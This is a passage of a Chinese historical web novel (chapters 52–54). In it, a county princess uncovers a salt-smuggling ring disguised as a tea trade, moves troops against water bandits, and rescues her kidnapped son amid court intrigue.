这问到王二的短板了,一瞬的功夫,他就想好了怎么回答:“县主叫皇上舅舅,你说谁大。”
蒋老大和蒋母脸色一白。
王二以为他们是担心刚刚失礼会得罪贵人,忙说道:“别担心,是县主不让惊动百姓的,不知者不怪嘛?“
出了蒋家门,卫姜带着懊恼的语气:“刚好像耽搁他们吃饭了,饭菜不会冷了吧。”
樱儿道:“不会的,他们家烧的是锅子。”
“哦,都有哪些菜?”
樱儿想了一下,回道:“有酒糟鱼,还有血鸭……。”她咽下口水。“听起来不错。”她看向樱儿,"回去让厨房也做这两个菜试试。"卫姜刚上马车,王二跟了上来,她撩开帘子对他:“今日辛苦你了,你也回去吧。”之前来的时候他说过自己家离这里不远。站在马车旁的田彩递了个鼓鼓的荷包过来,王二一时不敢接。田彩道:“这是县主给你的赏赐。”听说贵人不喜欢别人拒绝赏赐。
王二咽了下喉咙,双手恭敬接过,"谢县主赏。"荷包从手中经过,他摸了几下,根据以往的经验可以肯定赏钱不少。他脸色的喜色都收不住,声音有些激动,上前表忠心:“县主,若您再有差遣,派个人去衙门叫我,我一定给你办的妥妥的。”
卫姜笑的颇有深意:“会的。”马车渐渐远去,王二还站在原地挥手,等马车转了弯,他才跳起来抱着荷包亲了又亲。马车里,卫姜脸色有些凝重,“派几个人来盯着蒋家。”田彩差点惊呼出声,她捂住嘴巴,低声道个是。
***
潞王府书房
潞王也柳大福也在说宜春的事情,和窦绍的震怒不同,他们是心情是美妙的。“都安排的万无一失吧。”听说窦绍得到信就进宫了,也不知他会作何应对。“殿下放心,都是我的心腹,出不了差错。”
潞王点头,想了想又道:“没到万不得已不要伤了他的性命。”目前还没到要结下死仇的地步,死的要是窦绍他才拍手称快。
宜春的事情够让他们头疼的,这样也就没精力坏他的事了。
“西北那边打点的如何了?”
"有苏家这个招牌,一切都顺利。"
潞王点头,心里头还是有些遗憾,他其实更看重辽东的,可惜了….
“那件事怎么样了?”潞王脸上带着看热闹的坏笑。
柳大福瞬间就明白他说的是什么了,脸上也露出了阴冷的笑容:“潘仁美已经去见过窦大人了,听说是负气离开的。”潞王拍手,“那就给他们再添点火。”
52、第52章...
这一夜后衙没有人能安睡,陶氏白日里硬逼着自己睡了两个时辰,精神也恢复了些,她不愿意去歇息,卫姜也没有勉强。婆媳俩就这么相对无言的坐着,谁也没心思说宽慰人的话。就连下人都凝神屏气,不敢发出声音怕惹的主人心烦,只有偶尔烛火的噼啪声。忽然,卫姜抬起头,外面有人在轻声交谈。
“让他进来。”她的神情中带着期待。
长佩领着一个男子走了进来,这是窦绍专门拨给那几个侍卫,他是其中领头的,姓周,卫姜认得他
不等他行礼,卫姜急急问道:“有什么发现?”
周侍卫回道:“我们按照您的命令一直远远地盯着蒋家人的动静,一个时辰前蒋家的大儿子偷偷从后门离开了。”
卫姜身子不由地往前倾,就连陶氏都捏紧了帕子。
"他出城了?"
周侍卫点头:“我们怕有诈,在蒋家附近还留了两人盯着,我和另一个护卫一直尾随着他出了城,他去的地方聚集很多苦力,我们不认识蒋捕头,也不知道里面有没有他,我先回来报信,人还盯着。”那是城外的一个大镇,那里的大户出头筹资准备建一个庙宇,那些苦力已经在那干了两个月了。这些苦力都是农闲时来做力气活的,临近年关,他们挣钱也是为了好过年,所以里面的人来来去去很正常,不会留意到有一两个陌生人的出现。卫姜扬眉,可真是藏身的好地方。
"做的很好,你知道那个王二家住哪吧?"见他点头,卫姜道:“把他带去认认人。”
这么晚?得把人从被子里拖出来吧。
不过田彩想到白日里那大包银子,难怪那么丰厚了,这是王二该得的。
若蒋家人偷偷摸摸去见的真是那个蒋捕头,那窦景失踪就和他脱不了干系,衙门的人也不可信了。
陶氏见她脸色凝重便知道事情怕是不好,她紧张地拉着卫姜的衣袖,“母亲,如今该怎么办?”
衙门的人若是不能用,就只靠自己家的人怕是不行。
卫姜想了一下,说道:“这样,你把家里的人手都带去,那个王二若是认出来了,不管是姓蒋的还是另外两个跟着少爷一起失踪的人,都盯紧他们,然后你派人回来给我报信”卫姜特意叮嘱了一句:“先不要打草惊蛇,明日一大早我会徐大人调卫所的人去附近搜查。”
“我猜那里应该不是他们藏人的地方,大批兵马去搜索,他一定会被惊动,派几个好手跟住他。”
那侍卫有些震惊,他跟着窦绍在外面是做惯了这事的,自然心里已经有谱了,知道该怎么做,可没想到京城富贵窝里出来的县主竟也这么周全。他态度不够地又恭敬了几分:"县主放心,小人亲自去盯他。"
"那个王二……?"他话中带着请示。
卫姜瞥了他一眼,“明日我会让人去衙门告知一声,就说他帮我跑腿去了,你找个地方把他看住。”
“是。”卫姜点头,“行动要快,去吧。”周侍卫走后,卫姜顾不上打不搅扰了,派人深夜去请徐仰。徐仰来的很快,看来他也是睡不着。“听说县主这边有了发现?”卫姜点头,便把事情简单说了一遍。
“若蒋家老大真的是去给蒋捕头通风报信,那小窦大人失踪也就是官衙的人里外勾结,景哥儿会不会有危险?”情急之下徐仰也不叫什么小窦大人了,他的担心是不掺半分假,要是窦景真的出事了,他是无颜回京见好友了。反观卫姜这个做娘的,比他倒是要淡定。
她摇头:“暂时不会,蒋家人都不是什么有城府的人,若景儿出事了,他们见到我不会那么稳得住。”
知道她县主身份的时候,为什么立马就慌了,因为他们清楚了其中的厉害,窦景不是普通的小县令,他的身份能和皇帝扯上关系,蒋家人害怕了,他是去通知其他人。若是窦景真出事了,他们该连夜逃命才是。
徐仰也觉得是这个道理,不过他有些好奇,“县主是怎么发现蒋家人有问题的。”
卫姜看了一眼面容憔悴的徐仰,“为了景哥儿失踪的事情,徐大人是不是也担心的吃不下睡不好。”
徐仰没防备被她这么问,脸上有些不好意思,“我确实是有些担心,时间越久怕他越危险。”
卫姜笑道:“徐大人不是问我如何发现的吗?其实很简单,我们到蒋家的时候,他们正准备吃晚饭,菜色还不错,看着就是费了不少功夫做的。”
徐仰哦了一声,恍然大悟。县主去的时候凑巧赶上了用膳的时辰,可那是一般人家吃饭的时间,蒋家可是当家人失踪了,而且他的家人还有心思做几个好菜。这可不像是担心家人的表现,倒像是庆贺仇人出事了。除非……除非他们知道蒋捕头的下落,明白自己的丈夫父亲没有事。“还是县主心细。”徐仰拱手,衙门的人去过很多次但蒋家人都表现的很正常。没想到这破绽竟然在这些细节上。卫姜摇头:“那也是我先去了另外两家。”那老吏一家和蒋家情况差不多,可他的老妻闻听消息就病的起不来床,两个儿子愁眉苦脸,四处奔走,她们去的时候,那家连杯热茶都不能招待,因为都焦心着亲人的安危,哪里还顾得上烧火烧水的事情。就连那顶了父亲职的年轻人,他叔父虽然还在开店做生意,可他唉声叹气的连客人都懒得招待。只有蒋家人,一副正常过日子的场景,不知道的还以为蒋捕头不是失踪,而是在衙门还没回来。徐仰道:“县主,明天一大早我便和马将军亲自走一趟。”卫姜说了一句:“我也去。”陶氏也想跟去,却被卫姜以照顾宝哥儿拒绝了。次日一大早,卫所兵马便齐聚城外,马将军亲自带了一百人过来。原主是会骑马的,可卫姜不会,这一时半会的也不是学的时候,她只能坐马车。“马将军,这次只是去打草惊蛇,但也有一件重要的事情,我想让宜春县的百姓都知道,本县主的儿子在这里失踪了,我很不高兴,你们奉命来帮我寻儿,今日可能是一百人,明日也许就是两百人,后日也许就会派出一千人,不把宜春县整个翻过来一寸寸的找,我死不罢休。"卫姜挑中帘子,笑着看他:"马将军明白我的意思吗?"马将军看着是个粗人但其实人内秀的很,他很快就明白了卫姜的意思,她是想通过这阵势让那些贼人自乱阵脚,从而露出小窦大人的藏身之处。"县主放心,末将手下那些兵嘴碎的很,不出半个时辰,这话一定能传遍宜春县。"卫姜满意点头,“那就出发吧。”她抬头看了眼天色,看来今日是个好天,一切顺利,说不定天黑前就能把人找到。……蓝心有些手足无措,想帮忙又不知道窦绍要找什么。"大人,您是要找什么东西吗?"窦绍抬头,看来看四周,她的东西是真多,“知道你们县主贴身那些东西在哪吗?比如香囊荷包什么的。”蓝心立刻去内室抱出一个精巧箱笼,这里面放的都是手帕荷包之类的小物件。窦绍在里面挑了一个颜色比较相近的,正要戴上,忽然想到什么,问蓝心:“这哪个是她做的?”他指着里面的那些东西问道。蓝心偷瞄了他一眼,犹豫地摇了摇头,她解释道:“县主已经很久不动针线了,这些都是针织房送来的。”窦绍也猜到了,这些物件这么精致也不像是她能做的出的。他把荷包挂在腰上,对着镜子照了照,确定不明显但有心人一定会注意道,最后他又有点不放心,让蓝心把之前潘英娘送来的锦盒打开,拿出香囊比了比。“相似吗?”他问蓝心和其他丫头。众人面面相觑,这除了颜色有点像,都不是一个东西,怎么相似。蓝心硬着头皮道:“远远看去还是有点像的。”窦绍放心了,够用了。他叫来顺才,吩咐他明日去茶楼订雅间,“你在潘家人出来后再去。”顺才讶然,“您这是……”外面可本就有流言了,说大人看上潘家小姐了。他本来想劝两句,可看窦绍的眼神,也知道他另有主意,说不定这是大人和潘大人借着这事要做什么。"小人明日派人去盯着潘家,再跟着他们去订茶楼。"窦绍看了他一眼,夸道:“你越来越会做事了。”这样倒是更显得他窦绍主动了,是他纠缠不休。潘仁美说恐谁在背后设计污蔑他,原本他不根本没放在心上,本就是无稽之谈,可窦景忽然在江南出了事,他察觉到了异常。这一环连一环,可真是有意思,好像就盯上了他窦绍。与其等着他们另外来设套,倒不如他主动点,让他们觉得自己猜对了把心思都用在对付他身上。也不知道宜春那边怎么样了?“大人真的不亲自去南边一趟?”顺才问他。就连皇上听说窦景失踪后,还特意询问都窦绍要不要去一趟宜春,可惜他拒绝了。“宜春有县主,还有徐大人,没什么好担心的。”窦绍说是没什么好担心的,可顺才跟在他身边很多年,如何不明白他这是强撑。窦绍看向窗外,今夜京城雪下的有点大,去年这个时候她还围炉煮雪来着。他如何不想亲自去宜春呢,可是他不能走,他得在京城牵制住那些人。顺才大惊,难道……大人知道少爷失踪是何人所为?次日早朝,窦绍一道奏疏让潞王在书房中暴跳如雷。“开榷场?这个窦绍是不是故意和我做对。”他的人才刚刚在西北打开局面,窦绍就提议在西北开榷场和北蒙互市,皇上不但同意了,还此事交给了太子。有太子的人在,他还怎么放手在西北经营。有时候他真的怀疑是不是窦绍知道些什么,柳大福却一口咬定不可能。“苏家都没发现什么,那个窦大人在京城他怎么可能知道。”说句犯上的话,在西北苏家可比皇帝的耳目都厉害。“太子只是主持互市的事干涉不到军中来,何况还有苏家挡在前面呢?让我们的人小心行事就是了。”西北可是苏家历代驻守的地方,他们更害怕太子来夺兵权。“也只能如此了。”若是能借此机会让苏家和太子对上那就更好了。……卫姜盯着不远处的小岛,开口道:“你说的麻烦了是什么意思。”这话问的是马将军。马将军脸憋的有些红,颇有些说不出口的样子。他捏了捏拳,又松开,这才道:“这个寨子叫清风寨。”卫姜回过头看他,这名字听着这么耳熟,不会是个土匪窝吧。“里面住的都是一些水匪。”他指着不远处唯一的一条路道:“这里易守难攻只有这一条道,可这条路戒备很严,除非强攻不然很难突破上去。”就算被强攻下,他们自己也会死很多人,马将军心疼手下的兵,不想他们白白丧命,可他也知道这位贵人的儿子在里面,只怕她也听不进。一刻钟之前,他们亲眼看到那个姓蒋的进了寨子。“宜春有这么一窝盗匪为何衙门没有派兵来剿灭。”她路上好像也没听过清风寨的事情。马将军苦笑,“剿过的,但他们很狡猾,怎么都杀不尽。”等他们走了,那些被打散的水匪又会重新聚集起来。他为什么知道会死很多人,因为他带兵打过啊。"几年前,他们忽然就不再劫持过往商旅,寨子里的人做起了护卫的生意,过往商船有他们的保护一路都很顺遂,衙门的人见他们靠此谋生,不再祸害百姓,也就睁只眼闭只眼,不再提什么水匪的事情。"“他们有多少人?”徐仰忍不住插话。马将军回道:“怕是不下千人。”徐仰倒抽了一口冷气,这官府的人可真是单打,一千人他们都够占下县城了。“不能想想办法吗?我们找几个水性好的从水下过去,悄悄地把人救出来可不可行?“马将军摇头苦笑:“徐大人怕是不知道,这清风寨人人会水,他们匪首号称水猴子,诨名陆猴子。”他们从游过去,正好送他们嘴里去了。陆猴子!卫姜听到这个名字就懵了。他怎么会在这里!
53、第53章...
卫姜对这个名字有印象,在书中这人会在两年后闹出一件大事来,他?裹挟着百姓作乱,让南方陷入了长达半年的兵乱,最后还是信王亲自领兵镇压下来的。
也是从这件事,皇上才注意到小儿子的优秀,开始用心地去培养他,让他跃过潞王成为东宫太子。他是那个陆猴子吗?原来叛乱是从宜春开始的吗?“县主,不如我们先回去从长计议。”徐仰被马将军挤眉弄眼的搞没办法,只能上前劝说。“对对对,徐大人说的有道理,回去细细商量下,想个有把握的办法再来。”马将军在旁边打边鼓。卫姜就好像没听到他们的话一样,转头问他:“你的卫所有多少兵力。”马将军心都凉了,看来她是要强攻了,难道在贵人眼里,他们这些人的命真的不是命?
就这么攻上去,她知道要死多少人吗?
他脸色一下子就变了,说话时都带着情绪:“按规定应该有五千多人,不过这些年来我们一直都没有满员,如今满打满算也就不到三千人。”
就算三千人,这三千人还不一定全是精壮,再扣除一些老弱病残,两千多打底,水匪占据了地势便利,硬碰硬确实不成。
"走吧。"卫姜转身朝马车走去。马将军愣了一下,确定不是打吧。他提脚跟上,“县主这是去哪?”卫姜不解,转头问他:“不是要回去商议?”马将军咧嘴,搓手道:“是,县主英明。”
"县主放心,这里我会让人盯着情况,一有动静就会有人来通知我们。"
马将军还要安排盯梢的事情,徐仰也要去衙门一趟,查一下清风寨的情况,便相约一个时辰后在县衙碰面。
街上行人多,马车走动的并不快,卫姜原本回想书中关于陆猴子的记载,可惜,他不是什么重要配角,名字也只是出现在男主的功劳簿上而已,至于他的生平与背景,完全没有介绍。
她看向车外想放空一下思绪,却被路上的行人吸引了注意,一男子边走边看向手中的纸包,嘴角勾起,脸上带着满足的笑容。
这一幕真的很治愈,要是每个人都这么开心真好。
下一刻意外来来,街边一小店店主没有注意到这男子,端起水盆就要往外泼。
一盆水就这么照头淋了过来,还好那男子反应快,第一时间转过身,最后只是肩头泼湿了。
他没去管衣服而是检查怀里的东西,暴怒道:“你怎么回事,也不看着点,东西没了要你陪。”
店家小心陪着笑,“对不住对不住,我给您擦擦。”
“去你的。”那男子推开了店家,脸色很不好。
店家讪笑:“对不住,我看看您东西有没有损失,坏了我一定陪。”
这店家也算是通情达理的人,周围看热闹的人也劝和了几句,其中有认识这男子的问道:“这不是丁大吗?这是打哪儿来?“
丁大见到熟人脸色和缓了些:“我这不是去买了些新茶吗?”
那男子有些奇怪,“你不是前些日子才去买吗?”
丁大嘿嘿笑了声,敷衍道:“买点存着,这又放不坏。”
那人和丁大熟,想了一下道:“那我也去再买点。”
他转身就进了街角一家铺子,那铺子方位不是很好,生意却很火爆,进出的人很多,基本上都提着油纸包出来。
本来很平常的一幕,却有什么东西在卫姜脑子里一闪而过,可惜没有抓住。
田彩嘀咕道:“宜春的人这么喜欢喝茶吗?”连小老百姓都要囤茶,看刚刚男人那样子,那茶比他衣服还要紧。
卫姜想到当初窦景就是在查茶引的事情,心中一动:“停下,我们也去看看。”她看向那间铺子。
铺子不是很大,就是明暗两间,卫姜一行人很显眼,掌柜的亲自来招待。
“夫人您喜欢喝什么茶?我们这里什么茶都有,这是虎丘茶,我们江南名茶,香气清幽扑鼻,那些夫人小姐们都很喜欢,只可惜这茶产量不多。整个宜春也只有我这里有一点。”见卫姜目光移向旁边,他立马殷勤地介绍道:“这是天目茶,和虎丘茶齐名,产自吴中。”
他看卫姜衣着不俗,眼光一转,把底下柜子中藏着的好东西端了上来:“夫人,这是六安贡茶,宫里贵人们可都是喝这个的。”他竖了个手指头。
卫姜淡定看了一眼,说了句:“不错。”
长佩和田彩也看了一眼,“没有家里的品质好。”
掌柜表情僵硬来一下,但很快就更殷勤了。
卫姜不动声色打量着铺子,掌柜带她看的是上等茶叶,放在明间靠外边,而里面暗间来往的都是布衣百姓,卖所谓的新茶。
“你们家的新茶是什么茶?”似好奇地随口?一问。
掌柜的看了眼里间,笑着道:“夫人见笑,其实就是些一般的粗茶,没有名字大家就都混叫着新茶。”
他招呼那边的小二送来了一包新茶,打开给她们看:“这些夫人怕是喝不惯,小老百姓也只是拿它给白水添个滋味。”
掌柜试探问道:
“不知夫人您要挑些什么茶,要是多的话我让人给您送府上去。您府上离这里不远吧?”
田彩答道:“你送到后衙就是,我们住哪?”
掌柜奉承道:“原来是县尊的亲眷,小人有眼不识泰山了。”
卫姜端着架子微微颔首。
看了一眼长佩,长佩懂了,上前一步:“刚刚你说的那些都包了吧,我们夫人要带回去做土仪,你这还有没有其他更好的?“
掌柜的笑道:“有,有。”
“你这好像都是江浙那边的茶叶。”
那掌柜站在梯子上,正在往下拿东西,随口回道:“这不是近吗,水路运来也方便。”
卫姜随着长佩她们挑,看向里间,那里的生意倒比这边好多了,两个小二忙的昏头转向。
“你这赚钱吗?”她抬起下巴朝里面指了一下。
掌柜笑道:“多少也能赚点,我们东家常说生意无大小,这小老百姓的生意做好了也能赚。”
卫姜点头:“这话说的不错,看来你们东家是个会做生意的。”
那边长佩她们把每种茶叶都拿了点,掌柜拿出算盘扒拉,一顿噼里啪啦,笑容可掬地道:“承惠三十两八钱,零头小人做主给您抹了,收您三十两。”
长佩掏出银票付账,掌柜的笑就没停过,这可是笔大生意。
“你这茶卖的不贵。”卫姜道
掌柜后背都挺直了,颇有些得意道:“您就是去杭州苏州也不一定有我们这价格。”
可能是见卫姜她们大手笔,掌柜特意送了一小罐珍藏的茶,“这是小的一点心意。”
卫姜揭开闻了一下,味道有些熟悉,她眼神一顿,不动声色道:“这是什么茶,闻起来还不错。”
掌柜带着炫耀道:“您应该没听说过,这是我们东家自己种的,不往外卖,名叫龙井茶,这茶喝起来不输那些名茶,它三泡时滋味最好,您回去试试。”
卫姜笑了,“这么好的茶,我回去得试试,不知道你那东家贵姓?也是宜春人?要是好喝我得找他买点。”
掌柜笑着摇头:“我们东家姓柳,不是宜春人。”却不肯透露是哪儿人。
出了店铺,卫姜加快了脚步,吩咐人立马去请徐仰和马将军。徐仰就在前衙,来的很快。
"县主,您让我拿这几年官盐买卖账册是作何用?"卫姜没有回答他的问题,只是递给他一罐茶,“这茶如何?”徐仰不明白她怎么还有心思品鉴茶叶,只是潦草看了一眼,“虎丘茶,品质还不错。”
卫姜问他:“我听说徐大人爱茶,不知这样的茶叶在京城能卖到什么价格?”徐仰这才用手拿出来看了看,“大概十多两一斤是能卖到的。”
卫姜笑了:“徐大人猜这是多少钱买的?”
徐仰不明白她这是什么意思,难道叫他来是聊茶叶生意。
好在卫姜也不用他回答,已经自己主动说了:“掌柜卖我八两,辛苦从苏杭运来,却只是卖这么点钱,你说这老板做生意图什么。”
徐仰脑子也挺快的,立马想到了茶引案子。
"看来小窦大人没有安言,这个茶引案子确实内有古怪。"
卫姜继续道:“若我没有记错,这江浙之地除了产茶还有盐吧。”
徐仰惊愕,不由地站起身:“你是说,他们名义上是运茶其实是运私盐。”
这就说通了,为何当初那些商人要凿船,盐遇水即化,什么线索都没有留下,窦景找不到证据,还被人倒打一耙。
“盐三税一,而茶三十税一,买卖盐需要户部签发盐引,而茶引只需要地方衙门签发即可,甚至没有数量限制。”
巨大的利润就算茶叶不赚钱又算什么。
徐仰脸色凝重,语气肯定:“他们在运私盐。”
卫姜之前在茶业铺子里的时候也只是觉得奇怪,怎么那么多百姓来买茶,可是龙井茶的出现,加上东家姓柳,她都不用去查了。
窦绍说过,他第一次喝到龙井茶就是在杭州的盐商家,而葛月也送过她龙井茶,后来证明这茶出自柳大福。
世上没有那么多的巧合,如今又出现了龙井茶,东家还姓柳。
徐仰低头翻看自己带来的账册,越看脸色越不好,这……这官盐卖出去的数目对不上,宜春这么大的县,人口不下十万,怎么可能只吃这么点盐。
所谓的新茶就是私盐,他们运的根本不是茶!说的也不是茶。
马将军刚来不明所以,只看到徐仰黑着张脸,以为他还在忧愁清风寨的事情,安慰他道:“县主和徐大人也不用担心,我刚刚和弟兄们 排演了一下,其实也不是没有办法,他们窝在水寨里我们拿他们没办法,但我们可以引他们出来…….
徐仰打断了他的话:“你知道宜春有人在卖私盐吗?”
马将军愣了一下,然后点头:“知道。”
见徐仰表情不对,他觉得自己有必要解释下,他可不是包庇私盐贩子。
“官盐价格高,百姓都吃不起,很多人都得了病,直到几年前市面上忽然出现了大批私盐,价格又便宜,百姓们这才都吃上了盐。”
官府的人也不是不想抓这些私盐贩子,可他们狡猾的很,没有固定窝点,衙门几次清查连半根毛都没找到,就连百姓们都帮着他们。
其实让马将军来说,贩私盐就贩私盐吧,谁让官盐太贵了吃不起呢,没了私盐,小老百姓就又没盐吃了。
说起来私盐贩子也是在做好事呢?
"那他们用运茶的船来运私盐的你知道吗?"这他是真不知道了,马将军摇头。“清风寨的事情我们要从长计议。”卫姜开口道。
徐仰:“你是怀疑清风寨和私盐有关?”
是,卫姜甚至怀疑他们是柳大福养的打手,平日里帮他走私盐,到了关键的时候,他们就是托举他人的功绩。
书中是信王,如今该是潞王了。
前世太子出事后,皇上一直在潞王和信王之间摇摆,江南忽然出了事,信王因为去过西北军中,有带兵经验,皇帝便派了他南下。
说来也怪,派了多名大将都没有平定的叛乱,在信王到来后却以不可思议的方式瓦解了。先是陆猴子被他手下的人杀了,后是这些叛民见到信王旗帜降的降,逃的逃。看的时候不觉得,只觉得是男主的影响力,如今看却真是草台班子一场戏,真是用命演的。这个柳大福处处都有他,不管是苏青惊马,还是白云寺的刺杀案,他到底要干什么?是不是窦景的失踪也是他安排?这也是潞王的意思,或者说她无意中破坏了他们的好事,这是给她的警告。
辽东吗?
难道握有丁恭良的其实柳大福,要是她没记错,丁恭良任职的温州也有盐场,难道他也跟私盐有关?
也不知道卫莞查清楚没有?
不管如何,不能再放任这个柳大福搅弄风云了,他会把这些百姓卷进战乱之中,到时候又有多少人会流离失所,失去性命。“马将军,拿下清风寨需要多少兵马?”卫姜想了想又添了一句:“我不想他们有漏网之鱼,也不想有百姓卷入。”这就不只是攻打,还要在外面围住,不让一人走脱,也以防他们裹挟百姓作乱。
马将军不知道这个县主为什么忽然间又要拿下清风寨了,但看她表情严肃,便知道事关重大,他沉吟半刻,回道:“若有三千精兵,万无一失。”可从哪里能这么快调来一千精兵。
“离你们最近的卫所是哪一个?”
她是想调兵,这不行的。
徐仰先开口:“县主,没有皇上的兵符,那些卫所是不会听您的调动。”卫姜转过头看他:“我知道,我会八百里加急上书皇上,请旨调兵。”徐仰不明白,只是抓私盐贩子却要调两个卫所,皇上怎么会同意吗?
皇上当然会同意,因为卫姜说的根本不是什么私盐贩子的事情,她说的是叛乱分子,有豪商豢养水匪,人数数干,还在当地收买人心,颇得百姓拥护。
哪一个皇帝能容忍,何况还有窦绍呢?
“你是说这个人有可能就是江南盐税案的主谋,甚至刺杀太子和信王也是他指使的?”皇帝面无表情,可眼神暗藏杀意。窦绍低头:“皇上,当初盐税案和太子遇刺案还有诸多疑点,如今这也是臣和县主的猜测,不过那些水匪是实情,就算两件案子不是同一人所为,这些水匪也不能姑息。皇帝不知想到来什么,点头道:“你说的很对,养匪为患收买人心,该死!让阿姜去做吧,她能给朕带回证据吧?”他看向窦绍。
"皇上要是不放心,臣亲自去一趟。"
“阿姜是我的外甥女,朕自然是放心的,何况窦景说起来还是我外孙,就让卫所以这个名义发兵吧。”兵符连同旨意连夜南下,窦绍也给卫姜去了一封信。
他不明白为什么卫姜这次这么激进,但还是支持她的决定,只是在信中小小的表达了一下不满,并告知她,这可能会激怒潞王。
至于她说丁恭良的事情,他会去查证。
“多派几个人盯着那个柳大福。”窦绍看顺才,“不要让他离开京城。”
南边的事情很快就会被他察觉,柳大福要是不见了,卫姜不好收尾。
卫姜看着信纸上女儿的小手涂鸦,笑了,窦绍还挺会的。
忽然就好想她了,马上就要过年了,不过好在事情马上就要结束了,她马上就可以见到女儿了。
"县主,皇上那边怎么说?"不过看到县主在笑,事情应该是同意了。
卫姜把旨意给徐仰看,至于窦绍的信,嗯,写的太家书了,不太方便传阅。
窦绍指责她激进,她承认,她也怕是自己多疑了,在上书前专门派人去查过,那掌柜所说的东家也确实是柳家人,虽不是柳大福却是他的侄子。
徐仰特意找了个真的本地百姓去茶铺买新茶,给的是私盐,这下证据都有了。
她担心再不快一点下手,谁知道那个柳大福会不会指使水匪作乱呢,柳大福办出来的事就觉得他是个疯子。
和疯子是不能赌的。
"马将军,皇上准许从临江府调来一千精兵暂时归你调遣,一切就听你的安排。"卫姜把兵符给他,交代道:“蒋家人还有茶铺的人都要控制住,清风寨那边有一个人你给我抓来,他叫王天德,应该是陆猴子的心腹。”这个王天德就是后来杀死陆猴子的人,他应该是柳大福派来盯着陆猴子的人,说不定他知道更多柳大福的事情。
徐仰道:“茶铺和蒋家人这边就交给我吧,马将军去对付清风寨就好。”
"那就辛苦徐大人了。"
马将军抱拳:“县主放心,我一定会把窦县令安全地救回来。”
马将军第一次打这么富足的仗,而且还都是精兵强将,他兴奋的一晚上没睡,通宵和手下人排演战况。
临安的兵马在第二日晚间到的,他直接让这一千人从水路埋伏到了清风寨周围。
徐仰在蒋家人那边也有了突破。
蒋妻和蒋家长子承认,蒋捕头通匪,也知道水匪在做私盐的声音,他家老二就是去贩私盐了。
但他们不知道柳大福,这也在卫姜的预料之中。
以他们的咖位肯定是接触不到柳大福的。
茶铺那边就比较麻烦了,做生意的果然是精明,也不知道掌柜的是不是察觉到了什么,在卫姜出现的当天夜里他就溜了,店里的人只当他是拿货去了,谁也没留意。“会不会影响马将军那边?”徐仰面色有些不好看。
卫姜摇头:“城门口衙门早就安排了人,他出不去的。”他出不去也就传不了信息,他只能是躲起来了。
徐仰咬牙发狠道:“我再去店里看看。”就不信什么那掌柜的就没有什么信件留下。
要是能证明他贩卖私盐是受柳家指派就好了。这一夜注定无法安睡。
陶氏抱着宝哥儿也等在花厅,她们在等,等窦景回来可是已经过去两个时辰了,为什么还没有消息传回,卫姜有些坐不住了。
她安慰自己不要急,说不定战事都还没有结束,再说了,从清风寨过来也要小半个时辰,再等等。
门外传来喧哗的声音,还有匆忙的步伐,声音在朝着这边来。徐仰推门动作很大,在卫姜看过去的时候他有些不敢对视。卫姜扶住了椅子,腿有些发软,嗓子有些发硬,“窦景出事了?”
徐仰眼神带着悲伤,“景哥儿被找到了……”
虽然没死,但也就差一口气了。
他们都猜错了,窦景压根不在清风寨,他被关押在茶铺的密室之中,已经好几日水米未进了。
难怪那个掌柜的要跑!敢情他是识破了卫姜的身份,害怕了。
陶氏当场就被吓晕了过去。
大夫来看过只是摇头,开了些药只说看窦景的命。
不就是饿的渴的吗?没事的,她能想到办法救他的。卫姜抱着他,脑子回忆着那些急救的办法,失水了,就补充电解质,葡萄糖之类的。
"去,拿糖和盐来。"卫姜激动吩咐长佩。
她每隔一段时间,就给他喂些放了糖和盐的温水,心中第一次希望自己这百度神医能救救他。他还这么年轻,他不应该这样的,卫姜眼泪吧哒吧哒地往下掉,滴进来碗里她也没发现。
她心里总觉得是自己害了他,是她太自以为是了,以为那些人不敢伤害他。
要是早一点发现,自己再聪明一点就好了。
她明明都到了茶铺,离他那么近,怎么就没有发现呢?
他不能死的,在书里他都活到大结局那时,还有好几年呢?卫姜握住他的手,暗暗祈求老天。
“县主,奴婢来吧,您歇一会。”县主这样下去身子也会受不住的,别少爷没醒来,县主先垮来。
少奶奶已经倒下来,不能再倒一个了。
“不用,我挺好的,药熬好来吗?”卫姜拒绝了
大夫开的药卫姜一顿不落的也喂了,只希望都有效果。
一日一夜过去,窦景还是没有醒来的迹象,大概除了卫姜和陶氏,大家都已经默认了结果。
大夫说过若是第二日没有醒,那就是无用了。
可谁也不敢劝卫姜,只能由着她继续折腾,陶氏也挣扎着起来,卫姜让她和窦景说说话,聊些宝哥儿的趣事。
又是一夜,卫姜实在太累了,迷迷糊糊趴在床边睡了过去。
她做了个梦,梦到窦景在和她说对不起。
她不要,不要做这种不详的梦,她强行挣扎着醒来,刚抬头却对上了一双清醒的眼睛。
"娘,对不起。"
卫姜哇的就哭出声了,声音惊动了其他人,陶氏踉跄着跑了进来,看到丈夫醒来也大哭起来。
"吓死老娘了。"卫姜激动地抱住他。
窦景来不及安慰她,他有话说:
“娘,你快快回京,有人要害太子。”
54、第54章...
窦景虽然醒来,但身子还是很虚弱,说了一会儿话就又睡过去了。
不过总算是性命无忧,大家放下悬着的心,陶氏大概人逢喜事精神爽,丈夫醒过来了,她竟然也好了,忙前忙后的照顾窦景,这可让卫姜腾出不少手,也有时间和心情关心事情的进展了。
“那个掌柜的找到人了?”
徐仰摇头,那掌柜的怕是老鼠精转世,宜春都快被他翻过来了,可还是不见人。
卫姜眼神带着冷戾:“让马将军的人来,犁庭扫穴,连墙角缝都别放过。”
“还有,去查查他在宜春有什么故交亲友,或者是曾经做过什么好事帮过什么人?”
他能藏这么深一定是有人帮忙掩护的,就算是老鼠他也得出窝吃饭喝水吧。
“您放心,衙门的人还有马将军的人在加紧搜查了。”
徐仰心里明白,县主要找到这个掌柜的不光是为了给儿子报仇,还因为他关系到一个惊天大案。
其实卫姜推断的没错,那些人抓窦景只是关着,并不想伤害他的性命,可谁让事情那么凑巧,窦景趁着看守松懈爬窗跑了,可好巧不巧的,经过时听到喝醉了的掌柜在和手下的人吹嘘东家厉害。也可能是为了稳定军心,给自己人壮胆,让他们觉得绑个县令不算什么,他借着几分酒意说起了东家的壮举。
他提到了江南盐税案,提到了太子和信王遇刺,这些细节窦景听父亲说起过,都——对的上。
窦景明白,眼前的人肯定不是一般的私盐贩子,更有可能是叛党,那掌柜还说东家如今就在京城。
这样的人去了天子脚下,肯定是图谋不轨,窦景知道事情大了,他不敢继续听下去,而是想办法逃,他一定要把消息带出去。
可他也太倒霉了,人都已经爬上墙了,可偏偏那土墙倒了,巨大的动静引来了人。
掌柜被冷风一吹,酒意立时就散了,加上窦景的表情,他知道坏事了,心中一狠干脆一不做二不休。
他把窦景关进了地下密室中,这个地方只有他一个人知道,没吃没喝,目的就是要他死。
